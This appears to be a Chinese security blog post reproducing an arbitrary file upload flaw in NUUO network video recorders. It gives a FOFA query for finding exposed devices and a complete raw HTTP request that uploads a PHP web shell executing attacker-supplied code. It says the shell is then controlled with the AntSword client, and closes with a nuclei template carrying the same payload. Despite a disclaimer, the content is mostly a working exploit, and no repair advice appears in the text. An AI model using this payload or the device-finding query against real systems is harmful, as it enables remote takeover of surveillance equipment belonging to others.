当前位置：首页 > article >正文

NUUO网络视频录像机upload.php任意文件上传漏洞复现

article 2025/1/20 5:51:25

文章目录

- 免责声明
- 漏洞描述
- 搜索语法
- 漏洞复现
- nuclei
- 修复建议

免责声明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

NUUO网络视频录像机（Network Video Recorder，简称NVR）是NUUO Inc.生产的一种专业视频监控设备，它广泛应用于零售、交通、教育、政府和银行等多个领域。能够同时管理多个IP摄像头，实现视频录制、存储、回放及远程监控等功能。它采用先进的视频处理技术，提供高清、流畅的视频画面，满足各种复杂环境下的监控需求。在upload接口处存在文件上传漏洞

在这里插入图片描述

搜索语法

fofa

body="www.nuuo.com/eHelpdesk.php"

漏洞复现

在接口处进行文件上传 /upload.php

POST /upload.php HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------ok4o88lom
accept: */*
Content-Length: 163

----------ok4o88lom
Content-Disposition: form-data; name="userfile"; filename="test.php"

<?php $code=$_REQUEST['777'];
assert($code);?>
----------ok4o88lom--

在这里插入图片描述

访问test.php 文件使用蚁剑进行测试
在这里插入图片描述

nuclei

id: NUUO-Network-Camera-uploadfile

info:
  name: uploadfile of NUUO
  author: xl
  severity: info
  tags: tags

http:
  - raw:
      - "POST /upload.php HTTP/1.1\nHost: \nCache-Control: max-age=0\nAccept-Language:\
        \ zh-CN\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT\
        \ 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100\
        \ Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\
        Accept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type:\
        \ multipart/form-data; boundary=--------ok4o88lom\naccept: */*\nContent-Length:\
        \ 163\n\n----------ok4o88lom\nContent-Disposition: form-data; name=\"userfile\"\
        ; filename=\"test.php\"\n\n<?php $code=$_REQUEST['777'];\nassert($code);?>\n\
        ----------ok4o88lom--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - test.php
      - type: status
        status:
          - 200